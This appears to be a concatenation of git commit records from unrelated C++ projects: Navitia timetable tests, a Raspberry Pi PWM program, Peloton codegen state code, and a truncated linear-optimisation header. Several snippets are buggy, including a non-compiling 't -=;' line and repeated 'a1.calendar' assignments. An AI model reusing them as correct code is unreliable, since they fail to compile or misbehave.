BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 2), \"3\");\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 3), \"4\");\n}\n\n\nBOOST_FIXTURE_TEST_CASE(test_max_nb_stop_times, route_schedule_fixture) {\n pbnavitia::Response resp = navitia::timetables::route_schedule(\"line.uri=A\", boost::optional<const std::string>(), {}, d(\"20120615T070000\"), 86400, 0,\n 1, 3, 10, 0, *(b.data), false, false);\n BOOST_REQUIRE_EQUAL(resp.route_schedules().size(), 1);\n pbnavitia::RouteSchedule route_schedule = resp.route_schedules(0);\n BOOST_REQUIRE_EQUAL(route_schedule.table().headers().size(), 0);\n}\n\n\n<commit_msg>Timetable: add unit test on calendar filter for route_schedules<commit_after>\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n \nThis file is part of Navitia,\n the software to build cool stuff with public transport.\n \nHope you'll enjoy and contribute to this project,\n powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n a non ending quest to the responsive locomotion way of traveling!\n \nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n \nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n \nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n \nStay tuned using\ntwitter @navitia \nIRC #navitia on freenode\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\n#define BOOST_TEST_DYN_LINK\n#define BOOST_TEST_MODULE test_ed\n#include <boost\/test\/unit_test.hpp>\n#include \"ed\/build_helper.h\"\n#include \"type\/type.h\"\n#include \"tests\/utils_test.h\"\n#include \"time_tables\/route_schedules.h\"\n\nstruct logger_initialized {\n logger_initialized() { init_logger(); }\n};\nBOOST_GLOBAL_FIXTURE( logger_initialized )\n\n\/\/for more concice test\nstatic pt::ptime d(std::string str) {\n return boost::posix_time::from_iso_string(str);\n}\n\/*\n Wanted schedules:\n VJ1 VJ2 VJ3 VJ4\n A 8h00 8h05\n B 8h10 8h20 8h25\n C 8h05\n D 9h30 9h35\n\n But the thermometer algorithm is buggy, is doesn't give the shorest common superstring..\n So, actually we have this schedule\n VJ1\n C\n D\n A 8h\n B 8h10\n D\n\nWith VJ1, and VJ2, we ensure that we are no more comparing the two first jpp of\neach VJ, but we have a more human order.\nVJ2 and VJ3, is a basic test.\nThe difficulty with VJ4 comes when we have to compare it to VJ1.\nWhen comparing VJ1 and VJ4, we compare VJ1(stopC) with VJ4(stopD)\nand when we compare VJ4 and VJ1, we compare VJ4(stopB) with VJ1(stopC).\n*\/\nstruct route_schedule_fixture {\n ed::builder b = {\"20120614\"};\n\n route_schedule_fixture() {\n const std::string a_name = \"stopA\",\n b_name = \"stopB\",\n c_name = \"stopC\",\n d_name = \"stopD\";\n b.vj(\"A\", \"1111111\", \"\", true, \"1\", \"1\", \"JP1\")(c_name, 8*3600 + 5*60)(d_name, 9*3600 + 30*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"2\", \"2\", \"JP2\")(a_name, 8*3600)(b_name, 8*3600 + 10*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"3\", \"3\", \"JP2\")(a_name, 8*3600 + 5*60)(b_name, 8*3600 + 20*60);\n b.vj(\"A\", \"1111111\", \"\", true, \"4\", \"4\", \"JP3\")(b_name, 8*3600+25*60)(d_name, 9*3600 + 35*60);\n b.finish();\n b.data->pt_data->index();\n b.data->build_raptor();\n\n boost::gregorian::date begin = boost::gregorian::date_from_iso_string(\"20120613\");\n boost::gregorian::date end = boost::gregorian::date_from_iso_string(\"20120630\");\n\n b.data->meta->production_date = boost::gregorian::date_period(begin, end);\n }\n};\n\nBOOST_FIXTURE_TEST_CASE(test1, route_schedule_fixture) {\n\n pbnavitia::Response resp = navitia::timetables::route_schedule(\"line.uri=A\", {}, {}, d(\"20120615T070000\"), 86400, 100,\n 1, 3, 10, 0, *(b.data), false, false);\n BOOST_REQUIRE_EQUAL(resp.route_schedules().size(), 1);\n pbnavitia::RouteSchedule route_schedule = resp.route_schedules(0);\n auto get_vj = [](pbnavitia::RouteSchedule r, int i) {\n return r.table().headers(i).pt_display_informations().uris().vehicle_journey();\n };\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 0), \"1\");\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 1), \"2\");\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 2), \"3\");\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, 3), \"4\");\n}\n\n\nBOOST_FIXTURE_TEST_CASE(test_max_nb_stop_times, route_schedule_fixture) {\n pbnavitia::Response resp = navitia::timetables::route_schedule(\"line.uri=A\", {}, {}, d(\"20120615T070000\"), 86400, 0,\n 1, 3, 10, 0, *(b.data), false, false);\n BOOST_REQUIRE_EQUAL(resp.route_schedules().size(), 1);\n pbnavitia::RouteSchedule route_schedule = resp.route_schedules(0);\n BOOST_REQUIRE_EQUAL(route_schedule.table().headers().size(), 0);\n}\n\n\/*\nWe have 3 vehicle journeys VJ5, VJ6, VJ7 and 3 stops S1, S2, S3 :\n VJ5 VJ6 VJ7\nS1 10:00 11:00 13:00\nS2 10:30 11:30 13:37\ns3 11:00 12:00 14:00\n\nWe have 4 calendars, C1, C2, C3, C4 :\n- C1 : week (monday to friday),\n- C2 : week end,\n- C3 : holiday (monday to sunday during holidays),\n- C4 : random calendar nobody uses.\n\nEach vehicle_journey has its respective meta_vj : MVJ5, MVJ6, MVJ7.\nWe have the following associations :\n- MVJ5 => C1,C2\n- MVJ6 => C2,C3\n- MVJ7 => ∅\n*\/\nstruct route_schedule_calendar_fixture {\n ed::builder b = {\"20120614\"};\n navitia::type::Calendar *c1, *c2, *c3, *c4;\n navitia::type::VehicleJourney *vj5, *vj6, *vj7;\n\n route_schedule_calendar_fixture() {\n const std::string S1_name = \"S1\",\n S2_name = \"S2\",\n S3_name = \"S3\";\n boost::gregorian::date begin = boost::gregorian::date_from_iso_string(\"20120613\");\n boost::gregorian::date end = boost::gregorian::date_from_iso_string(\"20120630\");\n\n vj5 = b.vj(\"B\", \"1111111\", \"\", true, \"VJ5\", \"MVJ5\", \"JP4\")(S1_name, 10*3600)(S2_name, 10*3600 + 30*60)(S3_name, 11*3600).vj;\n vj6 = b.vj(\"B\", \"1111111\", \"\", true, \"VJ6\", \"MVJ6\", \"JP4\")(S1_name, 11*3600)(S2_name, 11*3600 + 30*60)(S3_name, 12*3600).vj;\n vj7 = b.vj(\"B\", \"1111111\", \"\", true, \"VJ7\", \"MVJ7\", \"JP4\")(S1_name, 13*3600)(S2_name, 13*3600 + 37*60)(S3_name, 14*3600).vj;\n\n c1 = new navitia::type::Calendar(begin);\n c1->uri = \"C1\";\n c1->active_periods.push_back({begin, end});\n c1->week_pattern = std::bitset<7>(\"1111100\");\n c2 = new navitia::type::Calendar(begin);\n c2->uri = \"C2\";\n c2->active_periods.push_back({begin, end});\n c2->week_pattern = std::bitset<7>(\"0000011\");\n c3 = new navitia::type::Calendar(begin);\n c3->uri = \"C3\";\n c3->active_periods.push_back({begin, end});\n c3->week_pattern = std::bitset<7>(\"1111111\");\n c4 = new navitia::type::Calendar(begin);\n c4->uri = \"C4\";\n c4->active_periods.push_back({begin, end});\n c4->week_pattern = std::bitset<7>(\"0000000\");\n\n navitia::type::AssociatedCalendar a1;\n a1.calendar = c1;\n navitia::type::AssociatedCalendar a2;\n a1.calendar = c2;\n navitia::type::AssociatedCalendar a3;\n a1.calendar = c3;\n\n b.get_or_create_metavj(\"MVJ5\")->associated_calendars.insert({c1->uri, &a1});\n b.get_or_create_metavj(\"MVJ5\")->associated_calendars.insert({c2->uri, &a2});\n b.get_or_create_metavj(\"MVJ6\")->associated_calendars.insert({c2->uri, &a2});\n b.get_or_create_metavj(\"MVJ6\")->associated_calendars.insert({c3->uri, &a3});\n\n b.finish();\n b.data->pt_data->index();\n b.data->build_raptor();\n\n b.data->meta->production_date = boost::gregorian::date_period(begin, end);\n }\n\n std::string get_vj(pbnavitia::RouteSchedule r, int i) {\n return r.table().headers(i).pt_display_informations().uris().vehicle_journey();\n }\n\n void check_calendar_results(boost::optional<const std::string> calendar, std::vector<std::string> expected_vjs) {\n pbnavitia::Response resp = navitia::timetables::route_schedule(\"line.uri=B\", calendar, {}, d(\"20120615T070000\"), 86400, 100,\n 1, 3, 10, 0, *(b.data), false, false);\n BOOST_REQUIRE_EQUAL(resp.route_schedules().size(), 1);\n pbnavitia::RouteSchedule route_schedule = resp.route_schedules(0);\n BOOST_REQUIRE_EQUAL(route_schedule.table().headers_size(), expected_vjs.size());\n for(int i = 0 ; i < route_schedule.table().headers_size() ; i++) {\n BOOST_REQUIRE_EQUAL(get_vj(route_schedule, i), expected_vjs[i]);\n }\n }\n};\n\nBOOST_FIXTURE_TEST_CASE(test_calendar_filter, route_schedule_calendar_fixture) {\n \/\/ No filter, all 3 VJs expected\n check_calendar_results({}, {vj5->uri, vj6->uri, vj7->uri});\n \/\/ For each calendar only the VJs explicitly linked to it expected\n check_calendar_results(c1->uri, {vj5->uri});\n check_calendar_results(c2->uri, {vj5->uri, vj6->uri});\n check_calendar_results(c3->uri, {vj6->uri});\n \/\/ No results for calendar C4\n check_calendar_results(c4->uri, {});\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\r\n\/\/#include <unistd.h>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <string>\r\n#include <ctime>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include \"GPIOClass.h\"\r\n\r\nusing namespace std;\r\n\r\nvoid Pulse(GPIOClass* pin, double cycles);\r\nvoid Wait(double seconds);\r\nclock_t timer;\r\ndouble time_to_complete;\r\ndouble resolution = CLOCKS_PER_SEC\/10;\r\n\r\n#define PI 4*atan(1)\r\n\r\nint main (int argc, char *argv[]) {\r\n\tstring type = argv[1];\r\n\ttransform(type.begin(), type.end(), type.begin(), :: tolower);\r\n\t\/\/ lets assume that the way to run this is\r\n\t\/\/ pwm.exe [rising\/falling\/sine\/constant]\r\n\tif (argc != 2) {\r\n\t\tcout << \"Usage: pwm [rising\/falling\/sine\/constant\/blink]\" << endl;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\twhile (time_to_complete <= 0) {\r\n\t\tcout << \"Input How Long To Run (in seconds)\" << endl;\r\n\t\tcin >> time_to_complete;\r\n\t}\r\n\r\n\tGPIOClass* out1 = new GPIOClass(\"4\");\r\n\tGPIOClass* in2 = new GPIOClass(\"17\");\r\n\r\n\tout1->export_gpio();\r\n\tin2->export_gpio();\r\n\r\n\tout1->setdir_gpio(\"out\");\r\n\tin2->setdir_gpio(\"in\");\r\n\r\n\tcout << \"Pins are setup.\" << endl;\r\n\tcout << \"resolution of cpu\" << CLOCKS_PER_SEC << endl;\r\n\t\/\/ avoiding flickering will be at 100hz\r\n\t\/\/ aka turn on and off 100 times a sec\r\n\t\/\/ a cycle of 0 is off\r\n\t\/\/ a cycle of 100 is on\r\n\r\n\tif (type == \"rising\") {\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\tdouble t = time_to_complete;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tif(t == 0){\r\n\t\t\t\tt = 1;\t\t\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tt -=(1\/resolution);\r\n\t\t\t}\r\n\t\t\t\/\/Pulse(out1, sin((2PI\/2) * abs(1\/t)));\r\n\t\t\t\/\/Wait(sin((PI\/2) * abs(1\/t)));\r\n\t\t\tcout << sin((2*PI)\/t) << endl;\r\n\t\t\tcout << \"this is t\" << t << endl;\r\n\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\tWait(sin((2*PI)\/t));\r\n\t\t}\r\n\t}\r\n\tif (type == \"falling\") {\r\n\r\n\t}\r\n\tif (type == \"sine\") {\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tfor (double i = 0; i < 1; i += resolution) {\r\n\t\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\t\tcout << sin(i)\/resolution << endl;\r\n\t\t\t\tWait(sin(i)\/resolution);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (type == \"constant\") {\r\n\t\tout1->setval_gpio(\"1\"); \/\/ turn the pin on\r\n\t\tWait(time_to_complete); \/\/ sleep for number of cycles \/ 1\/100 sec\r\n\t\t\/\/cout << \"Waiting during pulse\" << endl;\r\n\t\tout1->setval_gpio(\"0\"); \/\/ turn the pin off\r\n\t}\r\n\tif (type == \"blink\") { \/\/ aka. TESTR\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\tWait(4\/resolution);\r\n\t\t}\r\n\t}\r\n\tcout << \"Done.\" << endl;\r\n}\r\n\r\n\/\/1 cycle is 1\/100th of a second\r\n\/\/100 cycles is 1 sec\r\nvoid Pulse(GPIOClass* pin, double cycles) {\r\n\tbool running = true;\r\n\twhile (running) {\r\n\t\tpin->setval_gpio(\"1\"); \/\/ turn the pin on\r\n\t\tWait(cycles \/ resolution); \/\/ sleep for number of cycles \/ 1\/100 sec\r\n\t\t\/\/cout << \"Waiting during pulse\" << endl;\r\n\t\tpin->setval_gpio(\"0\"); \/\/ turn the pin off\r\n\t\trunning = false; \/\/ this is unnessesary but could be useful if modified a bit.\r\n\t}\r\n}\r\n\r\nvoid Wait ( double seconds )\r\n{\r\n\tclock_t endwait;\r\n\tendwait = clock () + seconds * CLOCKS_PER_SEC ;\r\n\twhile (clock() < endwait) {}\r\n}\r\n<commit_msg>Update pwm.cpp<commit_after>\/\/\r\n\/\/#include <unistd.h>\r\n#include <cstdio>\r\n#include <cstdlib>\r\n#include <string>\r\n#include <ctime>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include \"GPIOClass.h\"\r\n\r\nusing namespace std;\r\n\r\nvoid Pulse(GPIOClass* pin, double cycles);\r\nvoid Wait(double seconds);\r\nclock_t timer;\r\ndouble time_to_complete;\r\ndouble resolution = CLOCKS_PER_SEC\/10;\r\n\r\n#define PI 4*atan(1)\r\n\r\nint main (int argc, char *argv[]) {\r\n\tstring type = argv[1];\r\n\ttransform(type.begin(), type.end(), type.begin(), :: tolower);\r\n\t\/\/ lets assume that the way to run this is\r\n\t\/\/ pwm.exe [rising\/falling\/sine\/constant]\r\n\tif (argc != 2) {\r\n\t\tcout << \"Usage: pwm [rising\/falling\/sine\/constant\/blink]\" << endl;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\twhile (time_to_complete <= 0) {\r\n\t\tcout << \"Input How Long To Run (in seconds)\" << endl;\r\n\t\tcin >> time_to_complete;\r\n\t}\r\n\r\n\tGPIOClass* out1 = new GPIOClass(\"4\");\r\n\tGPIOClass* in2 = new GPIOClass(\"17\");\r\n\r\n\tout1->export_gpio();\r\n\tin2->export_gpio();\r\n\r\n\tout1->setdir_gpio(\"out\");\r\n\tin2->setdir_gpio(\"in\");\r\n\r\n\tcout << \"Pins are setup.\" << endl;\r\n\tcout << \"resolution of cpu\" << CLOCKS_PER_SEC << endl;\r\n\t\/\/ avoiding flickering will be at 100hz\r\n\t\/\/ aka turn on and off 100 times a sec\r\n\t\/\/ a cycle of 0 is off\r\n\t\/\/ a cycle of 100 is on\r\n\r\n\tif (type == \"rising\") {\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\tdouble t = time_to_complete;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tif(t == 0){\r\n\t\t\t\tt = time_to_complete;\t\t\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tt -=;\r\n\t\t\t}\r\n\t\t\t\/\/Pulse(out1, sin((2PI\/2) * abs(1\/t)));\r\n\t\t\t\/\/Wait(sin((PI\/2) * abs(1\/t)));\r\n\t\t\tcout << sin((2*PI)\/t) << endl;\r\n\t\t\tcout << \"this is t\" << t << endl;\r\n\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\tWait(sin((2*PI)\/t));\r\n\t\t}\r\n\t}\r\n\tif (type == \"falling\") {\r\n\r\n\t}\r\n\tif (type == \"sine\") {\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tfor (double i = 0; i < 1; i += resolution) {\r\n\t\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\t\tcout << sin(i)\/resolution << endl;\r\n\t\t\t\tWait(sin(i)\/resolution);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (type == \"constant\") {\r\n\t\tout1->setval_gpio(\"1\"); \/\/ turn the pin on\r\n\t\tWait(time_to_complete); \/\/ sleep for number of cycles \/ 1\/100 sec\r\n\t\t\/\/cout << \"Waiting during pulse\" << endl;\r\n\t\tout1->setval_gpio(\"0\"); \/\/ turn the pin off\r\n\t}\r\n\tif (type == \"blink\") { \/\/ aka. TESTR\r\n\t\tclock_t finish = clock() + time_to_complete * CLOCKS_PER_SEC;\r\n\t\twhile (clock() < finish) {\r\n\t\t\t\/\/ pulse for however long we need to to achieve brightness.\r\n\t\t\tPulse(out1, 1\/resolution);\r\n\t\t\tWait(4\/resolution);\r\n\t\t}\r\n\t}\r\n\tcout << \"Done.\" << endl;\r\n}\r\n\r\n\/\/1 cycle is 1\/100th of a second\r\n\/\/100 cycles is 1 sec\r\nvoid Pulse(GPIOClass* pin, double cycles) {\r\n\tbool running = true;\r\n\twhile (running) {\r\n\t\tpin->setval_gpio(\"1\"); \/\/ turn the pin on\r\n\t\tWait(cycles \/ resolution); \/\/ sleep for number of cycles \/ 1\/100 sec\r\n\t\t\/\/cout << \"Waiting during pulse\" << endl;\r\n\t\tpin->setval_gpio(\"0\"); \/\/ turn the pin off\r\n\t\trunning = false; \/\/ this is unnessesary but could be useful if modified a bit.\r\n\t}\r\n}\r\n\r\nvoid Wait ( double seconds )\r\n{\r\n\tclock_t endwait;\r\n\tendwait = clock () + seconds * CLOCKS_PER_SEC ;\r\n\twhile (clock() < endwait) {}\r\n}\r\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Revert \"Fix n#653688\"<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Peloton\n\/\/\n\/\/ runtime_state.cpp\n\/\/\n\/\/ Identification: src\/codegen\/runtime_state.cpp\n\/\/\n\/\/ Copyright (c) 2015-17, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"codegen\/runtime_state.h\"\n#include \"codegen\/vector.h\"\n\nnamespace peloton {\nnamespace codegen {\n\n\/\/ Constructor\nRuntimeState::RuntimeState() : constructed_type_(nullptr) {}\n\n\/\/ Register some state of the given type and with the given name. The last\n\/\/ argument indicates whether this state is local (i.e., lives on the stack) or\n\/\/ whether the requesting operator wants to manage the memory.\nRuntimeState::StateID RuntimeState::RegisterState(std::string name,\n llvm::Type *type,\n bool is_on_stack) {\n PL_ASSERT(constructed_type_ == nullptr);\n RuntimeState::StateID state_id = state_slots_.size();\n RuntimeState::StateInfo state_info;\n state_info.name = name;\n state_info.type = type;\n state_info.local = is_on_stack;\n state_slots_.push_back(state_info);\n return state_id;\n}\n\nllvm::Value *RuntimeState::LoadStatePtr(CodeGen &codegen,\n RuntimeState::StateID state_id) const {\n \/\/ At this point, the runtime state type must have been finalized. Otherwise,\n \/\/ it'd be impossible for us to index into it because the type would be\n \/\/ incomplete.\n PL_ASSERT(constructed_type_ != nullptr);\n PL_ASSERT(state_id < state_slots_.size());\n\n auto &state_info = state_slots_[state_id];\n\n PL_ASSERT(!state_info.local);\n\n \/\/ We index into the runtime state to get a pointer to the state\n std::string ptr_name{state_info.name + \"Ptr\"};\n llvm::Value *runtime_state = codegen.GetState();\n llvm::Value *state_ptr = codegen->CreateConstInBoundsGEP2_32(\n constructed_type_, runtime_state, 0, state_info.index, ptr_name);\n return state_ptr;\n}\n\nllvm::Value *RuntimeState::LoadStateValue(CodeGen &codegen,\n RuntimeState::StateID state_id) const {\n auto &state_info = state_slots_[state_id];\n if (state_info.local) {\n return state_info.val;\n }\n\n llvm::Value *state_ptr = LoadStatePtr(codegen, state_id);\n llvm::Value *state = codegen->CreateLoad(state_ptr);\n#ifndef NDEBUG\n PL_ASSERT(state->getType() == state_info.type);\n if (state->getType()->isStructTy()) {\n PL_ASSERT(state_info.type->isStructTy());\n auto *our_type = llvm::cast<llvm::StructType>(state_info.type);\n auto *ret_type = llvm::cast<llvm::StructType>(state->getType());\n PL_ASSERT(ret_type->isLayoutIdentical(our_type));\n }\n#endif\n return state;\n}\n\nllvm::Type *RuntimeState::FinalizeType(CodeGen &codegen) {\n \/\/ Check if we've already constructed the type\n if (constructed_type_ != nullptr) {\n return constructed_type_;\n }\n\n \/\/ Construct a type capturing all non-local state\n std::vector<llvm::Type *> types;\n for (uint32_t i = 0, index = 0; i < state_slots_.size(); i++) {\n if (!state_slots_[i].local) {\n \/\/ We set the index in the overall state where this instance is found\n state_slots_[i].index = index++;\n types.push_back(state_slots_[i].type);\n }\n }\n\n constructed_type_ =\n llvm::StructType::create(codegen.GetContext(), types, \"RuntimeState\");\n return constructed_type_;\n}\n\nvoid RuntimeState::CreateLocalState(CodeGen &codegen) {\n for (auto &state_info : state_slots_) {\n if (state_info.local) {\n if (auto *arr_type = llvm::dyn_cast<llvm::ArrayType>(state_info.type)) {\n \/\/ Do the stack allocation of the array\n llvm::AllocaInst *arr = codegen->CreateAlloca(\n arr_type->getArrayElementType(),\n codegen.Const32(arr_type->getArrayNumElements()));\n\n \/\/ Set the alignment\n arr->setAlignment(Vector::kDefaultVectorAlignment);\n\n \/\/ Zero-out the allocated space\n uint64_t sz = codegen.SizeOf(state_info.type);\n codegen->CreateMemSet(arr, codegen.Const8(0), sz, arr->getAlignment());\n\n state_info.val = arr;\n } else {\n state_info.val = codegen->CreateAlloca(state_info.type);\n }\n\n \/\/ Set the name of the local state to what the client wants\n state_info.val->setName(state_info.name);\n }\n }\n}\n\n} \/\/ namespace codegen\n} \/\/ namespace peloton<commit_msg>Formatting<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Peloton\n\/\/\n\/\/ runtime_state.cpp\n\/\/\n\/\/ Identification: src\/codegen\/runtime_state.cpp\n\/\/\n\/\/ Copyright (c) 2015-17, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"codegen\/runtime_state.h\"\n#include \"codegen\/vector.h\"\n\nnamespace peloton {\nnamespace codegen {\n\n\/\/ Constructor\nRuntimeState::RuntimeState() : constructed_type_(nullptr) {}\n\n\/\/ Register some state of the given type and with the given name. The last\n\/\/ argument indicates whether this state is local (i.e., lives on the stack) or\n\/\/ whether the requesting operator wants to manage the memory.\nRuntimeState::StateID RuntimeState::RegisterState(std::string name,\n llvm::Type *type,\n bool is_on_stack) {\n PL_ASSERT(constructed_type_ == nullptr);\n RuntimeState::StateID state_id = state_slots_.size();\n RuntimeState::StateInfo state_info;\n state_info.name = name;\n state_info.type = type;\n state_info.local = is_on_stack;\n state_slots_.push_back(state_info);\n return state_id;\n}\n\nllvm::Value *RuntimeState::LoadStatePtr(CodeGen &codegen,\n RuntimeState::StateID state_id) const {\n \/\/ At this point, the runtime state type must have been finalized. Otherwise,\n \/\/ it'd be impossible for us to index into it because the type would be\n \/\/ incomplete.\n PL_ASSERT(constructed_type_ != nullptr);\n PL_ASSERT(state_id < state_slots_.size());\n\n auto &state_info = state_slots_[state_id];\n\n PL_ASSERT(!state_info.local);\n\n \/\/ We index into the runtime state to get a pointer to the state\n std::string ptr_name{state_info.name + \"Ptr\"};\n llvm::Value *runtime_state = codegen.GetState();\n llvm::Value *state_ptr = codegen->CreateConstInBoundsGEP2_32(\n constructed_type_, runtime_state, 0, state_info.index, ptr_name);\n return state_ptr;\n}\n\nllvm::Value *RuntimeState::LoadStateValue(\n CodeGen &codegen, RuntimeState::StateID state_id) const {\n auto &state_info = state_slots_[state_id];\n if (state_info.local) {\n return state_info.val;\n }\n\n llvm::Value *state_ptr = LoadStatePtr(codegen, state_id);\n llvm::Value *state = codegen->CreateLoad(state_ptr);\n#ifndef NDEBUG\n PL_ASSERT(state->getType() == state_info.type);\n if (state->getType()->isStructTy()) {\n PL_ASSERT(state_info.type->isStructTy());\n auto *our_type = llvm::cast<llvm::StructType>(state_info.type);\n auto *ret_type = llvm::cast<llvm::StructType>(state->getType());\n PL_ASSERT(ret_type->isLayoutIdentical(our_type));\n }\n#endif\n return state;\n}\n\nllvm::Type *RuntimeState::FinalizeType(CodeGen &codegen) {\n \/\/ Check if we've already constructed the type\n if (constructed_type_ != nullptr) {\n return constructed_type_;\n }\n\n \/\/ Construct a type capturing all non-local state\n std::vector<llvm::Type *> types;\n for (uint32_t i = 0, index = 0; i < state_slots_.size(); i++) {\n if (!state_slots_[i].local) {\n \/\/ We set the index in the overall state where this instance is found\n state_slots_[i].index = index++;\n types.push_back(state_slots_[i].type);\n }\n }\n\n constructed_type_ =\n llvm::StructType::create(codegen.GetContext(), types, \"RuntimeState\");\n return constructed_type_;\n}\n\nvoid RuntimeState::CreateLocalState(CodeGen &codegen) {\n for (auto &state_info : state_slots_) {\n if (state_info.local) {\n if (auto *arr_type = llvm::dyn_cast<llvm::ArrayType>(state_info.type)) {\n \/\/ Do the stack allocation of the array\n llvm::AllocaInst *arr = codegen->CreateAlloca(\n arr_type->getArrayElementType(),\n codegen.Const32(arr_type->getArrayNumElements()));\n\n \/\/ Set the alignment\n arr->setAlignment(Vector::kDefaultVectorAlignment);\n\n \/\/ Zero-out the allocated space\n uint64_t sz = codegen.SizeOf(state_info.type);\n codegen->CreateMemSet(arr, codegen.Const8(0), sz, arr->getAlignment());\n\n state_info.val = arr;\n } else {\n state_info.val = codegen->CreateAlloca(state_info.type);\n }\n\n \/\/ Set the name of the local state to what the client wants\n state_info.val->setName(state_info.name);\n }\n }\n}\n\n} \/\/ namespace codegen\n} \/\/ namespace peloton<|endoftext|>"} {"text":"<commit_before>\/* You can use one of the both BSD 3-Clause License or GNU Lesser General Public License 3.0 for this source. *\/\n\/* BSD 3-Clause License:\n * Copyright (c) 2013 - 2021, kazunobu watatsu.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation or other materials provided with the distribution.\n * Neither the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#if !defined(_LINEAR_OPT_)\n\nusing std::cerr;\nusing std::flush;\n\ntemplate <typename T> SimpleVector<T> inner(const SimpleMatrix<T>& A, const SimpleVector<T>& bl, const SimpleVector<T>& bu) {\n#if defined(_FLOAT_BITS_)\n static const auto epsilon(T(1) >> int64_t(mybits - 1));\n#else\n static const auto epsilon(std::numeric_limits<T>::epsilon());\n#endif\n assert(A.rows() == bl.size() && A.rows() == bu.size() &&\n 0 < A.cols() && 0 < A.rows());\n \/\/ cout << A << endl << b << endl << c.transpose() << endl;\n cerr << \" (\" << A.rows() << \", \" << A.cols() << \")\";\n \/\/ bu - bb == A, bl - bb == - A <=> bu - bl == 2 A\n const auto bb(bu - (bu - bl) \/ T(2));\n const auto upper(bu - bb);\n SimpleMatrix<T> AA(A.rows() * 2 - 1, A.cols() + 1);\n SimpleVector<T> one(AA.rows());\n std::vector<std::pair<T, int> > fidx;\n fidx.reserve(A.rows());\n for(int i = 0; i < A.rows(); i ++) {\n for(int j = 0; j < A.cols(); j ++)\n AA(i, j) = A(i, j);\n AA(i, A.cols()) = - bb[i];\n if(upper[i] == T(0)) {\n const auto n2(AA.row(i).dot(AA.row(i)));\n if(n2 != T(0)) {\n fidx.emplace_back(std::make_pair(- T(1), i));\n AA.row(i) \/= sqrt(n2);\n }\n } else {\n 